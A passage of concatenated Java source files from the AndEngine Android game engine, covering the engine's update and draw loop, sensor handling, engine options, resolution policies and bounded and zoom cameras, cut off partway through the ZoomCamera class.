this.yieldDraw();
} else {
this.yieldDraw();
Thread.sleep(16);
}
}
private void yieldDraw() throws InterruptedException {
final State threadLocker = this.mThreadLocker;
threadLocker.notifyCanDraw();
threadLocker.waitUntilCanUpdate();
}
protected void onUpdate(final long pNanosecondsElapsed) throws InterruptedException {
final float pSecondsElapsed = (float)pNanosecondsElapsed / TimeConstants.NANOSECONDSPERSECOND;
this.mSecondsElapsedTotal += pSecondsElapsed;
this.mLastTick += pNanosecondsElapsed;
this.mTouchController.onUpdate(pSecondsElapsed);
this.updateUpdateHandlers(pSecondsElapsed);
this.onUpdateScene(pSecondsElapsed);
}
protected void onUpdateScene(final float pSecondsElapsed) {
if(this.mScene != null) {
this.mScene.onUpdate(pSecondsElapsed);
}
}
protected void updateUpdateHandlers(final float pSecondsElapsed) {
this.mUpdateThreadRunnableHandler.onUpdate(pSecondsElapsed);
this.mUpdateHandlers.onUpdate(pSecondsElapsed);
this.getCamera().onUpdate(pSecondsElapsed);
}
public void onDrawFrame(final GL10 pGL) throws InterruptedException {
final State threadLocker = this.mThreadLocker;
threadLocker.waitUntilCanDraw();
this.mTextureManager.updateTextures(pGL);
this.mFontManager.updateFonts(pGL);
if(GLHelper.EXTENSIONS_VERTEXBUFFEROBJECTS) {
this.mBufferObjectManager.updateBufferObjects((GL11) pGL);
}
this.onDrawScene(pGL);
threadLocker.notifyCanUpdate();
}
protected void onDrawScene(final GL10 pGL) {
final Camera camera = this.getCamera();
this.mScene.onDraw(pGL, camera);
camera.onDrawHUD(pGL);
}
private long getNanosecondsElapsed() {
final long now = System.nanoTime();
return this.calculateNanosecondsElapsed(now, this.mLastTick);
}
protected long calculateNanosecondsElapsed(final long pNow, final long pLastTick) {
return pNow - pLastTick;
}
public boolean enableVibrator(final Context pContext) {
this.mVibrator = (Vibrator) pContext.getSystemService(Context.VIBRATOR_SERVICE);
return this.mVibrator != null;
}
public void vibrate(final long pMilliseconds) throws IllegalStateException {
if(this.mVibrator != null) {
this.mVibrator.vibrate(pMilliseconds);
} else {
throw new IllegalStateException("You need to enable the Vibrator before you can use it!");
}
}
public void vibrate(final long[] pPattern, final int pRepeat) throws IllegalStateException {
if(this.mVibrator != null) {
this.mVibrator.vibrate(pPattern, pRepeat);
} else {
throw new IllegalStateException("You need to enable the Vibrator before you can use it!");
}
}
public void enableLocationSensor(final Context pContext, final ILocationListener pLocationListener, final LocationSensorOptions pLocationSensorOptions) {
this.mLocationListener = pLocationListener;
final LocationManager locationManager = (LocationManager) pContext.getSystemService(Context.LOCATION_SERVICE);
final String locationProvider = locationManager.getBestProvider(pLocationSensorOptions, pLocationSensorOptions.isEnabledOnly());
// TODO locationProvider can be null, in that case return false. Successful case should return true.
locationManager.requestLocationUpdates(locationProvider, pLocationSensorOptions.getMinimumTriggerTime(), pLocationSensorOptions.getMinimumTriggerDistance(), this);
this.onLocationChanged(locationManager.getLastKnownLocation(locationProvider));
}
public void disableLocationSensor(final Context pContext) {
final LocationManager locationManager = (LocationManager) pContext.getSystemService(Context.LOCATION_SERVICE);
locationManager.removeUpdates(this);
}
/**
* @see {@link Engine#enableAccelerometerSensor(Context, IAccelerometerListener, AccelerometerSensorOptions)}
*/
public boolean enableAccelerometerSensor(final Context pContext, final IAccelerometerListener pAccelerometerListener) {
return this.enableAccelerometerSensor(pContext, pAccelerometerListener, new AccelerometerSensorOptions(SENSORDELAY_DEFAULT));
}
/**
* @return <code>true</code> when the sensor was successfully enabled, <code>false</code> otherwise.
*/
public boolean enableAccelerometerSensor(final Context pContext, final IAccelerometerListener pAccelerometerListener, final AccelerometerSensorOptions pAccelerometerSensorOptions) {
final SensorManager sensorManager = (SensorManager) pContext.getSystemService(Context.SENSOR_SERVICE);
if(this.isSensorSupported(sensorManager, Sensor.TYPE_ACCELEROMETER)) {
this.mAccelerometerListener = pAccelerometerListener;
if(this.mAccelerometerData == null) {
final Display display = ((WindowManager) pContext.getSystemService(Context.WINDOW_SERVICE)).getDefaultDisplay();
final int displayRotation = display.getOrientation();
this.mAccelerometerData = new AccelerometerData(displayRotation);
}
this.registerSelfAsSensorListener(sensorManager, Sensor.TYPE_ACCELEROMETER, pAccelerometerSensorOptions.getSensorDelay());
return true;
} else {
return false;
}
}
/**
* @return <code>true</code> when the sensor was successfully disabled, <code>false</code> otherwise.
*/
public boolean disableAccelerometerSensor(final Context pContext) {
final SensorManager sensorManager = (SensorManager) pContext.getSystemService(Context.SENSOR_SERVICE);
if(this.isSensorSupported(sensorManager, Sensor.TYPE_ACCELEROMETER)) {
this.unregisterSelfAsSensorListener(sensorManager, Sensor.TYPE_ACCELEROMETER);
return true;
} else {
return false;
}
}
/**
* @see {@link Engine#enableOrientationSensor(Context, IOrientationListener, OrientationSensorOptions)}
*/
public boolean enableOrientationSensor(final Context pContext, final IOrientationListener pOrientationListener) {
return this.enableOrientationSensor(pContext, pOrientationListener, new OrientationSensorOptions(SENSORDELAY_DEFAULT));
}
/**
* @return <code>true</code> when the sensor was successfully enabled, <code>false</code> otherwise.
*/
public boolean enableOrientationSensor(final Context pContext, final IOrientationListener pOrientationListener, final OrientationSensorOptions pOrientationSensorOptions) {
final SensorManager sensorManager = (SensorManager) pContext.getSystemService(Context.SENSOR_SERVICE);
if(this.isSensorSupported(sensorManager, Sensor.TYPE_ACCELEROMETER) && this.isSensorSupported(sensorManager, Sensor.TYPE_MAGNETIC_FIELD)) {
this.mOrientationListener = pOrientationListener;
if(this.mOrientationData == null) {
final Display display = ((WindowManager) pContext.getSystemService(Context.WINDOW_SERVICE)).getDefaultDisplay();
final int displayRotation = display.getOrientation();
this.mOrientationData = new OrientationData(displayRotation);
}
this.registerSelfAsSensorListener(sensorManager, Sensor.TYPE_ACCELEROMETER, pOrientationSensorOptions.getSensorDelay());
this.registerSelfAsSensorListener(sensorManager, Sensor.TYPE_MAGNETIC_FIELD, pOrientationSensorOptions.getSensorDelay());
return true;
} else {
return false;
}
}
/**
* @return <code>true</code> when the sensor was successfully disabled, <code>false</code> otherwise.
*/
public boolean disableOrientationSensor(final Context pContext) {
final SensorManager sensorManager = (SensorManager) pContext.getSystemService(Context.SENSOR_SERVICE);
if(this.isSensorSupported(sensorManager, Sensor.TYPE_ACCELEROMETER) && this.isSensorSupported(sensorManager, Sensor.TYPE_MAGNETIC_FIELD)) {
this.unregisterSelfAsSensorListener(sensorManager, Sensor.TYPE_ACCELEROMETER);
this.unregisterSelfAsSensorListener(sensorManager, Sensor.TYPE_MAGNETIC_FIELD);
return true;
} else {
return false;
}
}
private boolean isSensorSupported(final SensorManager pSensorManager, final int pType) {
return pSensorManager.getSensorList(pType).size() > 0;
}
private void registerSelfAsSensorListener(final SensorManager pSensorManager, final int pType, final SensorDelay pSensorDelay) {
final Sensor sensor = pSensorManager.getSensorList(pType).get(0);
pSensorManager.registerListener(this, sensor, pSensorDelay.getDelay());
}
private void unregisterSelfAsSensorListener(final SensorManager pSensorManager, final int pType) {
final Sensor sensor = pSensorManager.getSensorList(pType).get(0);
pSensorManager.unregisterListener(this, sensor);
}
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
private class UpdateThread extends Thread {
public UpdateThread() {
super("UpdateThread");
}
@Override
public void run() {
android.os.Process.setThreadPriority(Engine.this.mEngineOptions.getUpdateThreadPriority());
try {
while(true) {
Engine.this.onTickUpdate();
}
} catch (final InterruptedException e) {
Debug.d("UpdateThread interrupted. Don't worry - this Exception is most likely expected!", e);
this.interrupt();
}
}
}
private static class State {
boolean mDrawing = false;
public synchronized void notifyCanDraw() {
// Debug.d(">>> notifyCanDraw");
this.mDrawing = true;
this.notifyAll();
// Debug.d("<<< notifyCanDraw");
}
public synchronized void notifyCanUpdate() {
// Debug.d(">>> notifyCanUpdate");
this.mDrawing = false;
this.notifyAll();
// Debug.d("<<< notifyCanUpdate");
}
public synchronized void waitUntilCanDraw() throws InterruptedException {
// Debug.d(">>> waitUntilCanDraw");
while(!this.mDrawing) {
this.wait();
}
// Debug.d("<<< waitUntilCanDraw");
}
public synchronized void waitUntilCanUpdate() throws InterruptedException {
// Debug.d(">>> waitUntilCanUpdate");
while(this.mDrawing) {
this.wait();
}
// Debug.d("<<< waitUntilCanUpdate");
}
}
}
| Java |
package org.anddev.andengine.engine;
import org.anddev.andengine.engine.options.EngineOptions;
/**
* A subclass of {@link Engine} that tries to achieve a specific amount of updates per second.
* When the time since the last update is bigger long the steplength, additional updates are executed.
*
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 10:17:47 - 02.08.2010
*/
public class FixedStepEngine extends Engine {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private final long mStepLength;
private long mSecondsElapsedAccumulator;
// ===========================================================
// Constructors
// ===========================================================
public FixedStepEngine(final EngineOptions pEngineOptions, final int pStepsPerSecond) {
super(pEngineOptions);
this.mStepLength = NANOSECONDSPERSECOND / pStepsPerSecond;
}
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
@Override
public void onUpdate(final long pNanosecondsElapsed) throws InterruptedException {
this.mSecondsElapsedAccumulator += pNanosecondsElapsed;
final long stepLength = this.mStepLength;
while(this.mSecondsElapsedAccumulator >= stepLength) {
super.onUpdate(stepLength);
this.mSecondsElapsedAccumulator -= stepLength;
}
}
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.engine;
import org.anddev.andengine.engine.options.EngineOptions;
/**
* A subclass of {@link Engine} that tries to achieve a specific amount of
* updates per second. When the time since the last update is bigger long the
* steplength, additional updates are executed.
*
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 10:17:47 - 02.08.2010
*/
public class LimitedFPSEngine extends Engine {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private final long mPreferredFrameLengthNanoseconds;
// ===========================================================
// Constructors
// ===========================================================
public LimitedFPSEngine(final EngineOptions pEngineOptions, final int pFramesPerSecond) {
super(pEngineOptions);
this.mPreferredFrameLengthNanoseconds = NANOSECONDSPERSECOND / pFramesPerSecond;
}
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
@Override
public void onUpdate(final long pNanosecondsElapsed) throws InterruptedException {
final long preferredFrameLengthNanoseconds = this.mPreferredFrameLengthNanoseconds;
final long deltaFrameLengthNanoseconds = preferredFrameLengthNanoseconds - pNanosecondsElapsed;
if(deltaFrameLengthNanoseconds <= 0) {
super.onUpdate(pNanosecondsElapsed);
} else {
final int sleepTimeMilliseconds = (int) (deltaFrameLengthNanoseconds / NANOSECONDSPERMILLISECOND);
Thread.sleep(sleepTimeMilliseconds);
super.onUpdate(pNanosecondsElapsed + deltaFrameLengthNanoseconds);
}
}
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.engine.options;
import android.os.PowerManager;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 19:45:23 - 10.07.2010
*/
public enum WakeLockOptions {
// ===========================================================
// Elements
// ===========================================================
/** Screen is on at full brightness. Keyboard backlight is on at full brightness. Requires <b>WAKE_LOCK</b> permission! */
BRIGHT(PowerManager.FULL_WAKE_LOCK),
/** Screen is on at full brightness. Keyboard backlight will be allowed to go off. Requires <b>WAKE_LOCK</b> permission!*/
SCREEN_BRIGHT(PowerManager.SCREEN_BRIGHT_WAKE_LOCK),
/** Screen is on but may be dimmed. Keyboard backlight will be allowed to go off. Requires <b>WAKE_LOCK</b> permission!*/
SCREEN_DIM(PowerManager.SCREEN_DIM_WAKE_LOCK),
/** Screen is on at full brightness. Does <b>not</b> require <b>WAKE_LOCK</b> permission! */
SCREEN_ON(-1);
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private final int mFlag;
// ===========================================================
// Constructors
// ===========================================================
private WakeLockOptions(final int pFlag) {
this.mFlag = pFlag;
}
// ===========================================================
// Getter & Setter
// ===========================================================
public int getFlag() {
return this.mFlag;
}
// ===========================================================
// Methods from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.engine.options;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 13:01:40 - 02.07.2010
*/
public class RenderOptions {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private boolean mDisableExtensionVertexBufferObjects = false;
private boolean mDisableExtensionDrawTexture = false;
// ===========================================================
// Constructors
// ===========================================================
// ===========================================================
// Getter & Setter
// ===========================================================
/**
* <u><b>Default:</b></u> <code>false</code>
*/
public boolean isDisableExtensionVertexBufferObjects() {
return this.mDisableExtensionVertexBufferObjects;
}
public RenderOptions enableExtensionVertexBufferObjects() {
return this.setDisableExtensionVertexBufferObjects(false);
}
public RenderOptions disableExtensionVertexBufferObjects() {
return this.setDisableExtensionVertexBufferObjects(true);
}
public RenderOptions setDisableExtensionVertexBufferObjects(final boolean pDisableExtensionVertexBufferObjects) {
this.mDisableExtensionVertexBufferObjects = pDisableExtensionVertexBufferObjects;
return this;
}
/**
* <u><b>Default:</b></u> <code>false</code>
*/
public boolean isDisableExtensionDrawTexture() {
return this.mDisableExtensionDrawTexture;
}
public RenderOptions enableExtensionDrawTexture() {
return this.setDisableExtensionDrawTexture(false);
}
public RenderOptions disableExtensionDrawTexture() {
return this.setDisableExtensionDrawTexture(true);
}
public RenderOptions setDisableExtensionDrawTexture(final boolean pDisableExtensionDrawTexture) {
this.mDisableExtensionDrawTexture = pDisableExtensionDrawTexture;
return this;
}
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.engine.options.resolutionpolicy;
import org.anddev.andengine.opengl.view.RenderSurfaceView;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 11:02:35 - 29.03.2010
*/
public interface IResolutionPolicy {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
public void onMeasure(final RenderSurfaceView pRenderSurfaceView, final int pWidthMeasureSpec, final int pHeightMeasureSpec);
}
| Java |
package org.anddev.andengine.engine.options.resolutionpolicy;
import org.anddev.andengine.opengl.view.RenderSurfaceView;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 11:23:00 - 29.03.2010
*/
public class FixedResolutionPolicy extends BaseResolutionPolicy {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private final int mWidth;
private final int mHeight;
// ===========================================================
// Constructors
// ===========================================================
public FixedResolutionPolicy(final int pWidth, final int pHeight) {
this.mWidth = pWidth;
this.mHeight = pHeight;
}
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
@Override
public void onMeasure(final RenderSurfaceView pRenderSurfaceView, final int pWidthMeasureSpec, final int pHeightMeasureSpec) {
pRenderSurfaceView.setMeasuredDimensionProxy(this.mWidth, this.mHeight);
}
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.engine.options.resolutionpolicy;
import org.anddev.andengine.opengl.view.RenderSurfaceView;
import android.view.View.MeasureSpec;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 11:23:00 - 29.03.2010
*/
public class RelativeResolutionPolicy extends BaseResolutionPolicy {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private final float mWidthScale;
private final float mHeightScale;
// ===========================================================
// Constructors
// ===========================================================
public RelativeResolutionPolicy(final float pScale) {
this(pScale, pScale);
}
public RelativeResolutionPolicy(final float pWidthScale, final float pHeightScale) {
this.mWidthScale = pWidthScale;
this.mHeightScale = pHeightScale;
}
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
@Override
public void onMeasure(final RenderSurfaceView pRenderSurfaceView, final int pWidthMeasureSpec, final int pHeightMeasureSpec) {
BaseResolutionPolicy.throwOnNotMeasureSpecEXACTLY(pWidthMeasureSpec, pHeightMeasureSpec);
final int measuredWidth = (int)(MeasureSpec.getSize(pWidthMeasureSpec) * this.mWidthScale);
final int measuredHeight = (int)(MeasureSpec.getSize(pHeightMeasureSpec) * this.mHeightScale);
pRenderSurfaceView.setMeasuredDimensionProxy(measuredWidth, measuredHeight);
}
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.engine.options.resolutionpolicy;
import org.anddev.andengine.opengl.view.RenderSurfaceView;
import android.view.View.MeasureSpec;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 11:22:48 - 29.03.2010
*/
public class FillResolutionPolicy extends BaseResolutionPolicy {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
// ===========================================================
// Constructors
// ===========================================================
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
@Override
public void onMeasure(final RenderSurfaceView pRenderSurfaceView, final int pWidthMeasureSpec, final int pHeightMeasureSpec) {
BaseResolutionPolicy.throwOnNotMeasureSpecEXACTLY(pWidthMeasureSpec, pHeightMeasureSpec);
final int measuredWidth = MeasureSpec.getSize(pWidthMeasureSpec);
final int measuredHeight = MeasureSpec.getSize(pHeightMeasureSpec);
pRenderSurfaceView.setMeasuredDimensionProxy(measuredWidth, measuredHeight);
}
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.engine.options.resolutionpolicy;
import org.anddev.andengine.opengl.view.RenderSurfaceView;
import android.view.View.MeasureSpec;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 11:23:00 - 29.03.2010
*/
public class RatioResolutionPolicy extends BaseResolutionPolicy {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private final float mRatio;
// ===========================================================
// Constructors
// ===========================================================
public RatioResolutionPolicy(final float pRatio) {
this.mRatio = pRatio;
}
public RatioResolutionPolicy(final float pWidthRatio, final float pHeightRatio) {
this.mRatio = pWidthRatio / pHeightRatio;
}
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
@Override
public void onMeasure(final RenderSurfaceView pRenderSurfaceView, final int pWidthMeasureSpec, final int pHeightMeasureSpec) {
BaseResolutionPolicy.throwOnNotMeasureSpecEXACTLY(pWidthMeasureSpec, pHeightMeasureSpec);
final int specWidth = MeasureSpec.getSize(pWidthMeasureSpec);
final int specHeight = MeasureSpec.getSize(pHeightMeasureSpec);
final float desiredRatio = this.mRatio;
final float realRatio = (float)specWidth / specHeight;
int measuredWidth;
int measuredHeight;
if(realRatio < desiredRatio) {
measuredWidth = specWidth;
measuredHeight = Math.round(measuredWidth / desiredRatio);
} else {
measuredHeight = specHeight;
measuredWidth = Math.round(measuredHeight * desiredRatio);
}
pRenderSurfaceView.setMeasuredDimensionProxy(measuredWidth, measuredHeight);
}
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.engine.options.resolutionpolicy;
import android.view.View.MeasureSpec;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 22:46:43 - 06.10.2010
*/
public abstract class BaseResolutionPolicy implements IResolutionPolicy {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
// ===========================================================
// Constructors
// ===========================================================
// ===========================================================
// Getter & Setter
// ===========================================================
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
protected static void throwOnNotMeasureSpecEXACTLY(final int pWidthMeasureSpec, final int pHeightMeasureSpec) {
final int specWidthMode = MeasureSpec.getMode(pWidthMeasureSpec);
final int specHeightMode = MeasureSpec.getMode(pHeightMeasureSpec);
if (specWidthMode != MeasureSpec.EXACTLY || specHeightMode != MeasureSpec.EXACTLY) {
throw new IllegalStateException("This IResolutionPolicy requires MeasureSpec.EXACTLY ! That means ");
}
}
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.engine.options;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 16:03:09 - 08.09.2010
*/
public class TouchOptions {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private boolean mRunOnUpdateThread;
// ===========================================================
// Constructors
// ===========================================================
// ===========================================================
// Getter & Setter
// ===========================================================
public TouchOptions enableRunOnUpdateThread() {
return this.setRunOnUpdateThread(true);
}
public TouchOptions disableRunOnUpdateThread() {
return this.setRunOnUpdateThread(false);
}
public TouchOptions setRunOnUpdateThread(final boolean pRunOnUpdateThread) {
this.mRunOnUpdateThread = pRunOnUpdateThread;
return this;
}
/**
* <u><b>Default:</b></u> <code>true</code>
*/
public boolean isRunOnUpdateThread() {
return this.mRunOnUpdateThread;
}
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.engine.options;
import org.anddev.andengine.engine.camera.Camera;
import org.anddev.andengine.engine.options.resolutionpolicy.IResolutionPolicy;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 15:59:52 - 09.03.2010
*/
public class EngineOptions {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
private final boolean mFullscreen;
private final ScreenOrientation mScreenOrientation;
private final IResolutionPolicy mResolutionPolicy;
private final Camera mCamera;
private final TouchOptions mTouchOptions = new TouchOptions();
private final RenderOptions mRenderOptions = new RenderOptions();
private boolean mNeedsSound;
private boolean mNeedsMusic;
private WakeLockOptions mWakeLockOptions = WakeLockOptions.SCREEN_BRIGHT;
private int mUpdateThreadPriority = android.os.Process.THREAD_PRIORITY_DEFAULT;;
// ===========================================================
// Constructors
// ===========================================================
public EngineOptions(final boolean pFullscreen, final ScreenOrientation pScreenOrientation, final IResolutionPolicy pResolutionPolicy, final Camera pCamera) {
this.mFullscreen = pFullscreen;
this.mScreenOrientation = pScreenOrientation;
this.mResolutionPolicy = pResolutionPolicy;
this.mCamera = pCamera;
}
// ===========================================================
// Getter & Setter
// ===========================================================
public TouchOptions getTouchOptions() {
return this.mTouchOptions;
}
public RenderOptions getRenderOptions() {
return this.mRenderOptions;
}
public boolean isFullscreen() {
return this.mFullscreen;
}
public ScreenOrientation getScreenOrientation() {
return this.mScreenOrientation;
}
public IResolutionPolicy getResolutionPolicy() {
return this.mResolutionPolicy;
}
public Camera getCamera() {
return this.mCamera;
}
public int getUpdateThreadPriority() {
return this.mUpdateThreadPriority;
}
/**
* @param pUpdateThreadPriority Use constants from: {@link android.os.Process}.
*/
public void setUpdateThreadPriority(final int pUpdateThreadPriority) {
this.mUpdateThreadPriority = pUpdateThreadPriority;
}
public boolean needsSound() {
return this.mNeedsSound;
}
public EngineOptions setNeedsSound(final boolean pNeedsSound) {
this.mNeedsSound = pNeedsSound;
return this;
}
public boolean needsMusic() {
return this.mNeedsMusic;
}
public EngineOptions setNeedsMusic(final boolean pNeedsMusic) {
this.mNeedsMusic = pNeedsMusic;
return this;
}
public WakeLockOptions getWakeLockOptions() {
return this.mWakeLockOptions;
}
public EngineOptions setWakeLockOptions(final WakeLockOptions pWakeLockOptions) {
this.mWakeLockOptions = pWakeLockOptions;
return this;
}
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
public static enum ScreenOrientation {
// ===========================================================
// Elements
// ===========================================================
LANDSCAPE,
PORTRAIT;
}
} | Java |
package org.anddev.andengine.engine.camera;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 15:55:54 - 27.07.2010
*/
public class BoundCamera extends Camera {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
protected boolean mBoundsEnabled;
private float mBoundsMinX;
private float mBoundsMaxX;
private float mBoundsMinY;
private float mBoundsMaxY;
private float mBoundsCenterX;
private float mBoundsCenterY;
private float mBoundsWidth;
private float mBoundsHeight;
// ===========================================================
// Constructors
// ===========================================================
public BoundCamera(final float pX, final float pY, final float pWidth, final float pHeight) {
super(pX, pY, pWidth, pHeight);
}
public BoundCamera(final float pX, final float pY, final float pWidth, final float pHeight, final float pBoundMinX, final float pBoundMaxX, final float pBoundMinY, final float pBoundMaxY) {
super(pX, pY, pWidth, pHeight);
this.setBounds(pBoundMinX, pBoundMaxX, pBoundMinY, pBoundMaxY);
this.mBoundsEnabled = true;
}
// ===========================================================
// Getter & Setter
// ===========================================================
public boolean isBoundsEnabled() {
return this.mBoundsEnabled;
}
public void setBoundsEnabled(final boolean pBoundsEnabled) {
this.mBoundsEnabled = pBoundsEnabled;
}
public void setBounds(final float pBoundMinX, final float pBoundMaxX, final float pBoundMinY, final float pBoundMaxY) {
this.mBoundsMinX = pBoundMinX;
this.mBoundsMaxX = pBoundMaxX;
this.mBoundsMinY = pBoundMinY;
this.mBoundsMaxY = pBoundMaxY;
this.mBoundsWidth = this.mBoundsMaxX - this.mBoundsMinX;
this.mBoundsHeight = this.mBoundsMaxY - this.mBoundsMinY;
this.mBoundsCenterX = this.mBoundsMinX + this.mBoundsWidth * 0.5f;
this.mBoundsCenterY = this.mBoundsMinY + this.mBoundsHeight * 0.5f;
}
public float getBoundsWidth() {
return this.mBoundsWidth;
}
public float getBoundsHeight() {
return this.mBoundsHeight;
}
@Override
public void setCenter(final float pCenterX, final float pCenterY) {
super.setCenter(pCenterX, pCenterY);
if(this.mBoundsEnabled) {
this.ensureInBounds();
}
}
// ===========================================================
// Methods for/from SuperClass/Interfaces
// ===========================================================
// ===========================================================
// Methods
// ===========================================================
protected void ensureInBounds() {
super.setCenter(this.determineBoundedX(), this.determineBoundedY());
}
private float determineBoundedX() {
if(this.mBoundsWidth < this.getWidth()) {
return this.mBoundsCenterX;
} else {
final float currentCenterX = this.getCenterX();
final float minXBoundExceededAmount = this.mBoundsMinX - this.getMinX();
final boolean minXBoundExceeded = minXBoundExceededAmount > 0;
final float maxXBoundExceededAmount = this.getMaxX() - this.mBoundsMaxX;
final boolean maxXBoundExceeded = maxXBoundExceededAmount > 0;
if(minXBoundExceeded) {
if(maxXBoundExceeded) {
/* Min and max X exceeded. */
return currentCenterX - maxXBoundExceededAmount + minXBoundExceededAmount;
} else {
/* Only min X exceeded. */
return currentCenterX + minXBoundExceededAmount;
}
} else {
if(maxXBoundExceeded) {
/* Only max X exceeded. */
return currentCenterX - maxXBoundExceededAmount;
} else {
/* Nothing exceeded. */
return currentCenterX;
}
}
}
}
private float determineBoundedY() {
if(this.mBoundsHeight < this.getHeight()) {
return this.mBoundsCenterY;
} else {
final float currentCenterY = this.getCenterY();
final float minYBoundExceededAmount = this.mBoundsMinY - this.getMinY();
final boolean minYBoundExceeded = minYBoundExceededAmount > 0;
final float maxYBoundExceededAmount = this.getMaxY() - this.mBoundsMaxY;
final boolean maxYBoundExceeded = maxYBoundExceededAmount > 0;
if(minYBoundExceeded) {
if(maxYBoundExceeded) {
/* Min and max Y exceeded. */
return currentCenterY - maxYBoundExceededAmount + minYBoundExceededAmount;
} else {
/* Only min Y exceeded. */
return currentCenterY + minYBoundExceededAmount;
}
} else {
if(maxYBoundExceeded) {
/* Only max Y exceeded. */
return currentCenterY - maxYBoundExceededAmount;
} else {
/* Nothing exceeded. */
return currentCenterY;
}
}
}
}
// ===========================================================
// Inner and Anonymous Classes
// ===========================================================
}
| Java |
package org.anddev.andengine.engine.camera;
import static org.anddev.andengine.util.constants.Constants.VERTEX_INDEX_X;
import static org.anddev.andengine.util.constants.Constants.VERTEX_INDEX_Y;
import org.anddev.andengine.input.touch.TouchEvent;
import org.anddev.andengine.util.MathUtils;
/**
* (c) 2010 Nicolas Gramlich
* (c) 2011 Zynga Inc.
*
* @author Nicolas Gramlich
* @since 15:48:11 - 24.06.2010
* TODO min/max(X/Y) values could be cached and only updated once the zoomfactor/center changed.
*/
public class ZoomCamera extends BoundCamera {
// ===========================================================
// Constants
// ===========================================================
// ===========================================================
// Fields
// ===========================================================
protected float mZoomFactor = 1.0f;
// ===========================================================
// Constructors
// ===========================================================
public ZoomCamera(final float pX, final float pY, final float pWidth, final float pHeight) {
super(pX, pY, pWidth, pHeight);
}
// ===========================================================
// Getter & Setter
// ===========================================================
public float getZoomFactor() {
return this.mZoomFactor;
}
public void setZoomFactor(final float pZoomFactor) {
this.mZoomFactor = pZoomFactor;
